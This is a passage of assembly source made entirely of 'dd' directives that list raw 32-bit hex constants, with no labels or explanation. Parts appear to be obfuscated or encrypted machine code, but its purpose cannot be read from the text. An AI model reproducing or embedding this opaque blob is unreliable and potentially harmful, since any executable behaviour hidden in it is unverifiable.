dd 5684ABECh, 0CB09EF8Ch, 0DEBF6FA0h, 160E6F74h, 4535Ah
dd 0ABD21200h, 3D6CA88Eh, 0CEFD3A20h, 5D90CBB1h, 0F11C5A40h
dd 0A812D0D4h, 3C223F6Ah, 0D1B7D4FBh, 644A6792h, 0DDAF72Ah
dd 0BF387E2Ch, 6DC61325h, 5984C28Fh, 9A1C563Ch, 0F1918730h
dd 0F4338FECh, 1C4A67C9h, 4A7176Fh, 0EF6FED2Ah, 50F63ED6h
dd 4C1644A6h, 0CFD482AFh, 371C32A3h, 0C7FB93C1h, 30132081h
dd 5083BD97h, 66F77EB3h, 81D79745h, 61D71320h, 4C3BE5C4h
dd 0FA294526h, 0A80CCB3Dh, 0E81352C6h, 0F18EF0BAh, 0D1D0h
dd 0C8769700h, 13200886h, 0C7F59208h, 3665A17Bh, 0BBA13E08h
dd 5C204E81h, 0BAC5F31Eh, 3B26E88Bh, 2CC9F4CBh, 0C93A8172h
dd 74A7E116h, 0A377157h, 636E9CCFh, 0C934F1B5h, 2587FD16h
dd 267E95C3h, 0C86513B6h, 161C323Bh, 0E3C67A6h, 5C40EDF5h
dd 0B4167246h, 0A4FC3552h, 0A44495E5h, 0AC0E776Eh, 34535B09h
dd 65DB19C6h, 8AC7A1C2h, 0C6632D5Bh, 0D477A2E0h, 1E4105B3h
dd 0D74D16CBh, 6FAD933Ah, 65711344h, 0C8C06F75h, 33B0Ch
dd 93BAFA00h, 25549076h, 0B6E52208h, 4578B399h, 0D9044228h
dd 902AB8BCh, 240A2752h, 0B99FBCE3h, 4C324F7Ah, 0F5C2DF12h
dd 0BC206614h, 55AE1325h, 5984C277h, 749BDCB6h, 38DF7C46h
dd 0ACEB1852h, 27895381h, 5A7BDC0Ah, 0C91AEAACh, 0E17EF416h
dd 608EC1FBh, 122F629Ch, 0A0CF0BE5h, 0E70BA872h, 1D8DE5E4h
dd 9B2A597Ah, 601E2AC2h, 46A761FEh, 881C32CDh, 38406F12h
dd 7F95956Eh, 47DD9633h, 0BF17FDE3h, 711484DCh, 0EEE3AEC3h
dd 37EADBDh, 0B4994A0Fh, 25537EBDh, 7A5CF95Bh, 0AACBD604h
dd 0FC64BAFCh, 31CE44B2h, 8D30A0F8h, 2EB0DFh, 0E184FAB8h
dd 5A50C607h, 385CB337h, 4580DC3Eh, 6E487512h, 0C312B234h
dd 474303B1h, 0D54BB710h, 34675024h, 95CFB5D2h, 99753162h
dd 0D0C8CD9Dh, 25714h, 0AFD61600h, 4170AC92h, 0D2013E24h
dd 6194CFB5h, 0F5205E44h, 0A40ED4D8h, 381E3B66h, 0CDB3D0F7h
dd 6046638Eh, 9D6F326h, 0BD347A28h, 61BA1325h, 1488C283h
dd 0C91A2066h, 2FE95516h, 73292960h, 3E71AB1Bh, 82E44610h
dd 97CA05DFh, 0D32B42FAh, 0AD12C063h, 0F11C32CFh, 873A5E7Bh
dd 3876E038h, 0D908AB0Dh, 5DB28753h, 0A4CFAB6h, 941320E8h
dd 0F21FBC1Eh, 0DBEEA344h, 4675EB19h, 53C056B0h, 79E941A3h
dd 0BEDF28D6h, 0A91FA0BCh, 9C0C647Bh, 0B2E51FF9h, 0F01DBA84h
dd 52DC5342h, 7E2197A5h, 94376AA4h, 0EC81C573h, 970DAA42h
dd 336D53FAh, 7341CF00h, 9890B2EBh, 19BDCh, 0F31A5A00h
dd 85B4F0D6h, 16458268h, 0A5D813F9h, 3964A288h, 0F0CA181Ch
dd 846A87B2h, 19FF1C43h, 0AC92AFDAh, 55223F72h, 0B280C674h
dd 0B50E1325h, 5B88C2D7h, 0E63DEE21h, 32BD659Eh, 344B79DBh
dd 83372DCh, 5D21CFDAh, 6116C9E1h, 0F32D89EBh, 66C892C0h
dd 0E05015C3h, 0E85E1C32h, 86C49ECBh, 289ABE5Bh, 4508C71Fh
dd 477D98F6h, 8AB8EB25h, 59FC5EC0h, 0DBCD4AABh, 0EF1E9419h
dd 36613559h, 5ACA229Fh, 1FFC09B7h, 0CC42A4C0h, 0BF2F879Eh
dd 7D076E1Ch, 0D54BA12Eh, 9C1E5832h, 0A229E6A4h, 0B3F450FEh
dd 270D2A8Ch, 189BAEDh, 44B68031h, 0E6904Ch, 65A50000h
dd 0FF3B213Eh, 90CDB3D0h, 235E4461h, 0AFEDD3F0h, 7F636784h
dd 0ADCAF533h, 425F86C7h, 0D5F21D5Ch, 6582B5EFh, 4509B798h
dd 491325B3h, 88C212F0h, 421C2755h, 0FE37D407h, 729336A6h
dd 0EEDE5C98h, 2675FADh, 0DBA5D335h, 0F6CF843Eh, 61D71C31h
dd 77AAE4BEh, 3BE27F49h, 973AAA02h, 0DD8EDCE9h, 7EAC2219h
dd 304D80BAh, 0AFDD104Ah, 3459E917h, 0B5C0E30Ah, 6582B5EFh
dd 0DC18457Fh, 0DE376F5Eh, 0DD3F3D19h, 68424D7Bh, 775DFA2Dh
dd 0AD6BA3Ch, 3797D785h, 0A1170525h, 70C432F0h, 0BD50336h
dd 351947A9h, 85A6B7BEh, 254A97D7h, 0BC69BE05h, 44A218E0h
dd 0F3D976ECh, 836986B9h, 52731649h, 259EE2A4h, 1A76EC05h
dd 0B882B0DBh, 11A7631Bh, 0E7000000h, 3762A17Bh, 0B88E3F09h
dd 0F8511B7h, 319FA643h, 2D5B82C2h, 0CEFC2F69h, 72A0CB0Ah
dd 18466DAEh, 0BDEB1654h, 6290BBF9h, 230639Eh, 0A4D2013Eh
dd 4775A4E0h, 0E6895686h, 4C681h, 0EE830000h, 74FF5604h
dd 8F5E0424h, 685C2404h, 3D99h, 53241C89h, 0C381E389h
dd 4, 4EB81h, 1C870000h, 2C895C24h, 0BA525624h, 28F706E2h
dd 0BB5AD689h, 0DCF597D2h, 685EF301h, 5CD7h, 83242489h
dd 5D042404h, 8904EC83h, 0D989240Ch, 59084D89h, 5D2434FFh
dd 4C481h, 34FF0000h, 0C4815B24h, 4, 0FCD556E9h, 77D4F1FFh
dd 53D2BA18h, 0A089139Ch, 8B99D673h, 0ECAA28B8h, 0FFC50305h
dd 9D2BF5E0h, 0AAD52D5Dh, 0D256F64Bh, 1AC59E1Dh, 0C4C09357h
dd 7573614Dh, 995CE04Ah, 0DB5A8372h, 0BA1AF840h, 2E0F2Eh
dd 0B492941Ah, 0F5F7820Ah, 13E81Ah, 0A1500000h, 0CE50B568h
dd 1AC6B7Bh, 0FA3A4EAEh, 51319454h, 98C0FD8h, 0F000000h
dd 385h, 0FA8B6600h, 8166525Eh, 59F4C0EFh, 6DBAC681h, 3DB80000h
dd 0FF00001Bh, 2DA7BF36h, 0E95A42B4h, 0Ah, 3AB4234Fh, 767DFCF8h
dd 0EA81A598h, 61BB59Ch, 7EF281F8h, 0F860B4F3h, 0BD4EEA81h
dd 8E8599Eh, 57000000h, 8AE9764Ch, 566DC3DCh, 5FFB8B66h
dd 8FF5525Bh, 5E806h, 20A00000h, 80E8159Eh, 835B6DEDh
dd 8D0F04EEh, 2, 0F48EE8Ah, 1B85h, 0EAF18000h, 2BE9h, 6010F800h
dd 1FD2CE49h, 795536C8h, 2D4971C4h, 0AD0342C2h, 406CE981h
dd 78E96ECCh, 4CFFFFFFh, 0E47AD3F1h, 0FE421FCCh, 80A4676Ah
dd 148E9h, 5000h, 5400h, 5800h, 5C00h, 6000h, 6400h, 6800h
dd 6C00h, 0B000h, 0B400h, 0B800h, 0BC00h, 0C000h, 0C400h
dd 0C800h, 0CC00h, 0D000h, 0D400h, 0D800h, 0DC00h, 0E000h
dd 0E400h, 0E800h, 0EC00h, 38h dup(0)
dd 578DE900h, 9F50EB00h, 0BC858D00h, 2905ECABh, 0E90FE595h
dd 0FC858905h, 0E905ECACh, 0Fh, 6548AD95h, 0F9F901B1h
dd 0ED7F1A41h, 0C603F0F2h, 0E90EE585h, 81665405h, 0E8775ED3h
dd 4, 0EE626829h, 8B50B1B5h, 24448BD6h, 820F04h, 8B000000h
dd 49BA6600h, 24448907h, 60525004h, 0BE8h, 0F120F900h
dd 7B3A095Fh, 7C9B8627h, 61D78B5Ah, 8E9310Fh, 97000000h
dd 5AA88FA5h, 5A33CF27h, 9D8B5858h, 5E92F25h, 1EFDB5FFh
dd 958905E9h, 5E91979h, 266D8D8Bh, 858D05E9h, 5EC7A6Fh
dd 101DBD8Bh, 0D0FF05E9h, 5AF55250h, 85895Ah, 8A05ECADh
dd 5AE9D9h, 0B5890000h, 5E928C1h, 0FCB58B56h, 8905ECACh
dd 0FC858306h, 405ECACh, 8D60C35Eh, 0ECABBCB5h, 560FEB05h
dd 36FF006Ah, 0AD0095FFh, 835E05ECh, 3E8304C6h, 61EC7500h
dd 11B58BC3h, 0E905E906h, 12h, 92731CB4h, 0AC3C6BEBh, 0DE7328C0h
dd 0A57FA2FDh, 0B58B31A7h, 5E90251h, 0ADD1858Dh, 0C28105ECh
dd 61E50CE7h, 0B1D8589h, 4BEB05E9h, 2F0E0910h, 4B1AC53Ch
dd 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h, 0CE1BF531h, 0D129B327h
dd 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh, 0C400A6DBh, 1A0046C7h
dd 0D5A3EAh, 9C000000h, 0FEC819h, 0FBFE4800h, 28000000h
dd 0D427E641h, 0E9C3727Dh, 0C0Fh, 8365E180h, 0E901BDBDh
dd 850F0005h, 58h, 303D8D89h, 0B805E9h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 745AC356h, 623013Bh, 81660259h, 0C27502CAh, 6A0004h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 0AF56FEC3h, 23AA8A27h, 9531C08Bh, 5E91601h, 164DBD83h
dd 750005E9h, 21BD8309h, 5E911h, 53501374h, 0D0B8C08Bh
dd 8D000004h, 0EBB6989Dh, 5BD3FF05h, 21BD8358h, 5E911h
dd 53501174h, 4D0B8h, 0E59D8D00h, 0FF05EBB5h, 80585BD3h
dd 0E9F938F7h, 0Bh, 0D442CD23h, 0D37AC04Eh, 8B4949B5h
dd 6850FC0h, 2B000000h, 0E90E71BDh, 6A858D05h, 8905ECAEh
dd 0E92AF585h, 0B9665005h, 48991A0h, 0BD296024h, 5E925A9h
dd 8D61C38Bh, 0ECAE2785h, 0FB8B6605h, 0F525050h, 8Fh, 5A310F00h
dd 24048958h, 14E8h, 0FAD41E00h, 0A4D0022Eh, 0A7C958CBh
dd 87A51FA5h, 0A839F8BDh, 0AE9D4h, 0BF240000h, 60862A2Ch
dd 3F4F01AFh, 5195FF5Ah, 6A05E90Dh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 9F4BC357h
dd 0C00B5218h, 66090291h, 0D10DD981h, 424448Bh, 528589FCh
dd 0F905ECAEh, 824448Bh, 0BA99D8Bh, 858905E9h, 5ECAE66h
dd 2481958Bh, 0BD8305E9h, 5E90725h, 22850F00h, 6A000001h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 0E25DC353h, 0E30BA06h, 0D8D8BCDh, 0C605E922h
dd 0E90EE585h, 10E94705h, 89000000h, 589156D8h, 48550F9Fh
dd 2418313Dh, 0E8B67220h, 4, 0D49AA7D2h, 0F50F08Ah, 85h
dd 24448B00h, 0FE804h, 0DA1A0000h, 0C3E70820h, 0A55C5E0Eh
dd 8CFE8CE6h, 5E9F6h, 0AF750000h, 5B3A870Ch, 0BA66008Bh
dd 448944B8h, 8B660424h, 6A58D7h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 150424h, 52420000h, 669A18C3h, 958BD88Bh
dd 5E90625h, 1EFDB5FFh, 6A05E9h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 8BE7F5C3h, 0E9191D8Dh
dd 6F858D05h, 6A05EC7Ah, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 9DE2C353h, 0E99B19F8h
dd 89D0FFA5h, 0E9279195h, 25858905h, 5705E907h, 0F9B58960h
dd 0F05E911h, 8Fh, 0B5B6100h, 0E907A195h, 0C5BD8305h, 5E932h
dd 14E850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 3710A5C3h, 0F0A9071Fh, 0EE585C6h
dd 6A4705E9h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 1D78C355h, 0DF2BF3B5h, 8D89F511h
dd 5E925B5h, 6E9h, 1F4E0D00h, 0E88F5294h, 4, 8A0FB5E2h
dd 0EE8h, 572D7C00h, 80DD4B86h, 67427E48h, 0BFD7664Ch
dd 2AA0CA9Ch, 0F60505Ah, 288h, 66F88A00h, 61FB8ABEh, 424448Bh
dd 8E0F008Bh, 17h, 11E8h, 93579000h, 38FA16E8h, 0EB316E73h
dd 41A00700h, 895F9343h, 60042444h, 0F28B6660h, 66525061h
dd 310FD08Bh, 6E8h, 40C3C100h, 59EF91D7h, 5861585Ah, 1249B509h
dd 0B5FF05E9h, 5E91EFDh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 95C35040h, 756D6B1Ah, 8E0F5Ah, 8D000000h
dd 0EC7A6F85h, 0F98B6605h, 6AD0FFh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0DF3467C3h
dd 2599BD8Bh, 858905E9h, 5E932C5h, 0AE8h, 0E1534D00h, 2F10D72h
dd 66A1A5A9h, 5BDF55BFh, 1789BD83h, 0F0005E9h, 8A85h, 85C6FC00h
dd 5E90EE5h, 55006A56h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1D04h, 0C3554500h, 0A1CF058Dh, 454CDCADh, 7568A330h
dd 53E4E258h, 48C0Fh, 0BB660000h, 8159BF6Dh, 354C2434h
dd 858930FDh, 5E92D29h, 1EFDB5FFh, 8DF905E9h, 0EC7A6F85h
dd 0E5BD0B05h, 0FF05E904h, 57006AD0h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0C635906Ah
dd 0BE92941h, 17898589h, 0C6F505E9h, 0E90EE585h, 8D8B6C05h
dd 5E92439h, 4D1AA268h, 890F56D9h, 2, 815BD88Bh, 6A212434h
dd 6A0248h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 0C9DD8AC3h, 0B5FFA572h, 5E92345h, 14E8h
dd 301B0000h, 8F58E1B9h, 86170525h, 2845F40Bh, 4E6ADF1Eh
dd 0FE860BEh, 0C8000000h, 0E000AE9Bh, 68C60A68h, 6CAD7160h
dd 665BB058h, 5F61D98Bh, 39CF858Dh, 0BD2905E9h, 5E901D5h
dd 0D0FF2AB3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Dh, 0E2C35646h, 58A74630h, 5ACE4165h, 6185894Dh, 8905E91Dh
dd 0ECAE5685h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1504h, 0C3554500h, 0BA66E0D1h, 46AFFDDh
dd 14E8h, 0B19FBA00h, 0AB30DDBBh, 0F8DE3428h, 6D46C620h
dd 0D33C4022h, 6890F97h, 0F000000h, 83h, 0B685A00h, 0E9722589h
dd 0Fh, 0ACB75034h, 8107072Dh, 0FD647B81h, 81A44FE0h, 990B2434h
dd 0BA667225h, 3C68E1EDh, 0E9845E8Fh, 9, 0F2E02A5Eh, 6AA08A25h
dd 24048129h, 7BA270C4h, 0B80AF8BAh, 6A006A27h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 0AAD7C350h, 83D2CA6Eh, 0FFF98772h, 0E9183595h, 6D852905h
dd 8905E911h, 0ECAE6285h, 5E905h, 0C0640000h, 6A64D430h
dd 0CDBB5000h, 5B2D7383h, 0C8E45E68h, 240481BFh, 40381BA2h
dd 1950B60h, 0B005E923h, 8B9061ABh, 8B6650D3h, 6A90D8h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 23C01C3h, 0F59D6146h, 66562DDBh, 6A59D78Bh, 9D89570Bh
dd 5E91059h, 1DBD235Ah, 8D05E929h, 0ECAE2F85h, 0BD950305h
dd 9005E90Fh, 0BA3455B9h, 28B2504Bh, 1B58990h, 0FF05E92Bh
dd 0E9072595h, 0FE905h, 0C5E70000h, 0ABF1D4EBh, 91A1CBDBh
dd 82738C71h, 39B58DF1h, 6A05ECAEh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 4258C353h
dd 68A0F31h, 89000000h, 0E915D99Dh, 0B59D8B05h, 5005E931h
dd 0A7E41BB9h, 2434897Eh, 68E0Fh, 9D290000h, 5E9229Dh
dd 50EC8A90h, 0DE9h, 0E96CAC00h, 0F60E0B10h, 1742CE39h
dd 6690102Dh, 95FFDF8Bh, 5E932C5h, 11398D89h, 0D0FF05E9h
dd 31618D89h, 0B58B05E9h, 5ECAE62h, 0AE9h, 0F9E6B800h
dd 95FF120h, 0C7277B3Ah, 0ECAE5A85h, 5, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 0FFBF0F1Fh, 207E80h, 239840Fh, 0E3810000h, 3F16BF6Fh
dd 8D8B5160h, 5E92FBDh, 20468D59h, 186D8531h, 0FB8B05E9h
dd 0AE5E8589h, 0B58905ECh, 5E92B31h, 16E9h, 6223B900h
dd 0CB8B6F7Ah, 9D2B5640h, 5E92CFDh, 0CD8D095Bh, 8005E90Eh
dd 850F0038h, 0FFFFFFE8h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Dh, 87C35242h, 0D4C2D7DBh, 0A34AB7CEh, 0BEBA66B7h
dd 0E9D18BE6h, 0Dh, 1507CA81h, 8B48279Bh, 0E91F5195h, 5C388005h
dd 30840Fh, 0FE90000h, 56000000h, 0EFA302F3h, 0C58163E3h
dd 37B0F705h, 388059BFh, 13840F2Fh, 0F9000000h, 0AE5E853Bh
dd 830F05ECh, 0FFFFFFC6h, 0B815CF81h, 664008D1h, 0BD83DE8Bh
dd 5ECAE66h, 65840F00h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 30E7C352h
dd 0AE31BB95h, 21E98589h, 8B5005E9h, 240489CFh, 0AB9958Bh
dd 850305E9h, 5ECAE66h, 2296BB66h, 6A0000C6h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
dd 7A25C353h, 583EB546h, 17DA80F5h, 0AE85090h, 0B1000000h
dd 7AF66191h, 0BEBCFC29h, 59F18AC5h, 6FBB6690h, 52B5FF19h
dd 8A05ECAEh, 5695FFD5h, 6A05ECAEh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 6365C355h
dd 9F69EA3h, 0BBAE0413h, 267BEF37h, 850FC00Bh, 6Ah, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 82C35646h, 0C5FCEACh
dd 858961F9h, 5E92AC9h, 0AE5A85C7h, 105ECh, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 0D1A0F7C3h, 0DDBD098Bh, 0B105E905h, 4DE9CDh, 95890000h
dd 5E902A5h, 24D58D29h, 8B6105E9h, 0E90341BDh, 1CC68105h
dd 8B000001h, 0E919918Dh, 7BF6605h, 0FDE2E9CBh, 6AFFFFh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 9452A3C3h, 42DEBE67h, 68779207h, 19521278h, 10E8h, 0F4387500h
dd 4A2CDF90h, 78EAA00Ah, 432BD75Ah, 890F60FDh, 0
dd 850Fh, 5A610000h, 78243481h, 0BB195292h, 0F1F15D9h
dd 0BD8B006Ah, 5E9166Dh, 0AE62B5FFh, 0B58905ECh, 5E92D7Dh
dd 178995FFh, 820F05E9h, 18h, 0CE8h, 0ACE0A400h, 3D0B7A4h
dd 0E1A2D7BBh, 0B19D0133h, 5905E905h, 858B99B3h, 5ECAE5Ah
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 35C35747h
dd 11E94460h, 1D000000h, 0E3CAD01h, 594A5561h, 0AFFAB7FEh
dd 84685A7Bh, 50D78A90h, 18840Fh, 52500000h, 0DE9h, 0B0280700h
dd 5C40023Eh, 1BE3A7E7h, 310FA1B5h, 0F90585Ah, 858DD3BFh
dd 5ECAE6Ah, 0E950DA8Bh, 0Ch, 222F4276h, 0C6CF94BAh, 0FC2FBC9Bh
dd 89240489h, 0E91D85B5h, 27858D05h, 905ECAEh, 0E903DDB5h
dd 8C0F5005h, 8, 28B0Fh, 0D38B0000h, 6A240489h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
dd 996BC355h, 0C6C6A056h, 6995FF1Ch, 6A05E911h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 5182C353h, 0F64D264Bh, 0D682B6FEh, 9E9h, 25B92C00h
dd 36A8FB0Fh, 0C08BF575h, 0D7816651h, 6659AB36h, 0C9D6EB81h
dd 164DBD83h, 750005E9h, 21BD8309h, 5E911h, 53501374h
dd 0D0B8C08Bh, 8D000004h, 0EBB6FF9Dh, 5BD3FF05h, 21BD8358h
dd 5E911h, 53501174h, 4D0B8h, 0FE9D8D00h, 0FF05EBB5h, 6A585BD3h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 0E53EC356h, 60B142D8h, 0E9525E20h, 10h, 98489A33h
dd 0ADB964B7h, 2847A9E4h, 0B436D9F0h, 56006A59h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 0BB6600CEh, 0C08B2A36h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 14h, 20C35646h, 0FE8B20B1h, 0CF816658h, 860FF4CDh
dd 6, 10919D01h, 8C205E9h, 99D8B00h, 8B05E92Fh, 55006AC0h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 8166CBC0h, 660B98C1h, 8DF1D3BAh, 0ECAE7A85h, 0D5BD3105h
dd 8905E928h, 0E9048585h, 39EB05h, 0CC00BF00h, 0E400BF02h
dd 0BF02h, 8B000000h, 0B838F25Bh, 9609EB57h, 885DFA5Fh
dd 9230F15Bh, 9331FB1Ch, 0BB09D132h, 0B15DD37Eh, 9A2DD046h
dd 8D35CB5Ch, 0FF39FE57h, 0AA5DF552h, 0FF5D9CDAh, 3C00BF32h
dd 0DB31166Fh, 0DB191E36h, 0FF5D8936h, 3C08DA32h, 9997815Fh
dd 3FD661B9h, 0E91022B1h, 8A5D9ADBh, 0DEE01C3Bh, 0FF587623h
dd 0AC0D8646h, 46E55FB9h, 765D9F36h, 167E26B7h, 3BC01237h
dd 58748Ah, 7C05C4E1h, 164CBE8Fh, 0E8299F37h, 46E5CC62h
dd 765D9F36h, 167E26B7h, 4CC01237h, 587487h, 9505C4E1h
dd 0FCB5C932h, 0DF5D9F32h, 76035C6Ch, 7E59BB46h, 0E759BB76h
dd 0B95D9F32h, 0FFDE5C64h, 0F09EBE9Dh, 3FD6668Dh, 170B9F58h
dd 0FF5D9F31h, 0A19EC112h, 0FB79EBBBh, 0FB79DBB3h, 0FF5D9F27h
dd 0FE9EC974h, 0F8E7F9D5h, 0AED09E95h, 39587616h, 16537AB7h
dd 0F3B5C937h, 755D9F32h, 66AA9BC8h, 0AF56DD48h, 459541F6h
dd 0E6FBB0C7h, 0AACAF76Bh, 0AD0DF827h, 7892C58Ch, 166C9031h
dd 0FF5D9F3Ch, 0BB21B5D0h, 0F8895E2Ah, 0C025DA76h, 0A7076830h
dd 44799BB3h, 95680C50h, 0FCB5CF32h, 0DF5D9F32h, 76055C6Ah
dd 7E59BB76h, 0E559BB76h, 0BF5D9F32h, 6A285C62h, 0DF98059Ch
dd 0FF49777Fh, 678E9F32h, 9A6E536Ah, 81F798F8h, 0D53507Eh
dd 8E7A2361h, 42D674F8h, 0FAB4BD63h, 0EE29068h, 0E1A02ACDh
dd 7E3B9ADBh, 7243CFDDh, 1327F0B7h, 0AC5DF537h, 0FF5D9CDAh
dd 3C06BF32h, 0DB011669h, 0DB191E36h, 0FF5D8336h, 3C0EDC32h
dd 68AD3984h, 53FB452Ah, 748D6040h, 16568A87h, 7659F537h
dd 164D2AA7h, 5CF3F737h, 0CBDCEC5Dh, 90EE3116h, 52C8B441h
dd 17587614h, 0FF5D9F36h, 0FF5D9DDEh, 0AF8C1452h, 8D6F960h
dd 743BAE3Dh, 9E05C5C8h, 0DB191462h, 0F6E7F936h, 995D1487h
dd 76C6408Dh, 7459BB76h, 0FF37C7FCh, 0FF5E7763h, 0A67D9F32h
dd 0B3D4C6F1h, 0BBDC9B16h, 0FF409B16h, 0AE1C9F32h, 9F9845F1h
dd 4475C7C6h, 7609F8E8h, 167AEA8Fh, 955DF537h, 0FCB5CE32h
dd 0DF5D9F32h, 76045C6Bh, 7E59BB7Eh, 0E559BB76h, 0BE5D9F32h
dd 0B4C75C63h, 1146B943h, 0FAE4F92Dh, 6AC0AE94h, 587637h
dd 969921E2h, 7AD4842Dh, 0FAB125F0h, 170E9F58h, 0FF5D9F31h
dd 0A49EC412h, 0FB79C3BBh, 0FB79DBB3h, 0FF5D9F28h, 0A09ECC71h
dd 0FD27C67Ch, 7E3B5D16h, 740E36DDh, 0FD919ACAh, 7AD49F32h
dd 0FAB125F4h, 76455FB1h, 13E755B7h, 469DAC37h, 0FF5D9DDEh
dd 0FF3735C1h, 0FF5E7767h, 0A27D9F32h, 93D4C2F1h, 0BBDC9B16h
dd 0FF409B16h, 0AA189F32h, 56D3E9F1h, 0A02D2EBh, 0F0C83A97h
dd 0FF5D9CB7h, 0FD6F932h, 0FF5D92DBh, 5F69A532h, 75CC87C6h
dd 0AC1D40A6h, 7A9BC038h, 0FAB491D7h, 0A85DF571h, 0FF5D9CDAh
dd 3C02BF32h, 0DB21166Dh, 0DB191E36h, 0FF5D8236h, 3C0AD832h
dd 39E4A087h, 9BA8036Fh, 0EBB4F4F5h, 0EB5D9F32h, 0F0365322h
dd 0B1099B53h, 49983772h, 0B8CE7B6Dh, 9F9A9650h, 0F20402B9h
dd 973C9ADBh, 553C2D26h, 0FF78133Dh, 0AD0D9F32h, 0FF5D8BDBh
dd 0A99AF632h, 500B61A4h, 0DCF71515h, 1A4C7013h, 623753D3h
dd 0AF6C90C2h, 0A56C9060h, 7E05C56Ah, 2617BB06h, 0FF37A934h
dd 0FF5E7765h, 0A07D9F32h, 83D4C0F1h, 0BBDC9B16h, 0FF469B16h
dd 0A81A9F32h, 0F28988F1h, 0F44041A1h, 0F3D49057h, 0F05D9F32h
dd 0FF5D99BBh, 0AAC01632h, 587634h, 16436287h, 0AD5DF537h
dd 0FF5D9CDAh, 3C07BF32h, 0DB091668h, 0DB191E36h, 0FF5D8636h
dd 3C0FDD32h, 0C98E5228h, 4AD469CCh, 0FAB49A47h, 85321ABFh
dd 8CEF9ADEh, 0FF374FCDh, 0FF5E7762h, 0A77D9F32h, 0BBD4C7F1h
dd 0BBDC9B16h, 0FF4B9B16h, 0AF1D9F32h, 6C0390F1h, 76AE283Dh
dd 16588AB7h, 11DCF937h, 7AD088B4h, 0FAB49FCFh, 0FF4D1C3Dh
dd 0F4B49F32h, 225D9F32h, 583D911Fh, 78F2A970h, 7AD4A455h
dd 0FAB49593h, 0F1B81AF4h, 160E9ADBh, 0FF5D9F37h, 66BF1113h
dd 901DF70Dh, 453B5807h, 0CBDC9CE5h, 7B7A0716h, 0AC5DF509h
dd 0FF5D9CDAh, 3C06BF32h, 0DB011669h, 0DB191E36h, 0FF5D8336h
dd 3C0EDC32h, 3C98D0D5h, 31E8396h, 0FF4C77ACh, 40CE9F32h
dd 67C1F5B7h, 5979F9E9h, 279DE3F4h, 0F6CA9465h, 167932B7h
dd 4052C137h, 2E860C0h, 9558762Ch, 0FCB5CE32h, 0DF5D9F32h
dd 76045C6Bh, 7E59BB7Eh, 0EA59BB76h, 0BE5D9F32h, 0E1F55C63h
dd 85321ABFh, 0F9B59ADEh, 215D9F32h, 7309CD51h, 72C89E76h
dd 0A5587600h, 0FF374FCDh, 0FF5E7762h, 0A77D9F32h, 0BBD4C7F1h
dd 0BBDC9B16h, 0FF469B16h, 0AF1D9F32h, 9DFD8DF1h, 0B74324EEh
dd 0C7E3F90Eh, 6AD816A9h, 7458762Ch, 166CBE8Fh, 1AD85937h
dd 0AC58763Ch, 170D9F58h, 0FF5D9F31h, 0A79EC712h, 0FB79DBBBh
dd 0FB79DBB3h, 0FF5D9F24h, 0C09ECF72h, 97A837FCh, 33798127h
dd 0FF5D92DAh, 2E730432h, 0C1802E5Bh, 0ED831117h, 0F2B4FD0Bh
dd 35D9F32h, 7E902F5Fh, 61F7B83Dh, 44FDDE4Dh, 0DB691E6Dh
dd 0EB614594h, 170C9F58h, 0FF5D9F31h, 0A69EC612h, 0FB79D3BBh
dd 0FB79DBB3h, 0FF5D9F25h, 8C9ECE73h, 9FCE4143h, 0FCFC221Bh
dd 42749ADBh, 0FAB488C3h, 0FF507653h, 0A7729F32h, 0B0F2D16Fh
dd 4BC84Fh, 6E9B74h, 16436287h, 4A5ECE37h, 0FAB48FFBh
dd 90D8126Bh, 99587348h, 2FA255B9h, 72D60D84h, 0FAB4BD73h
dd 0D4281ABBh, 0FF379ADBh, 0FF5E7760h, 0A57D9F32h, 0ABD4C5F1h
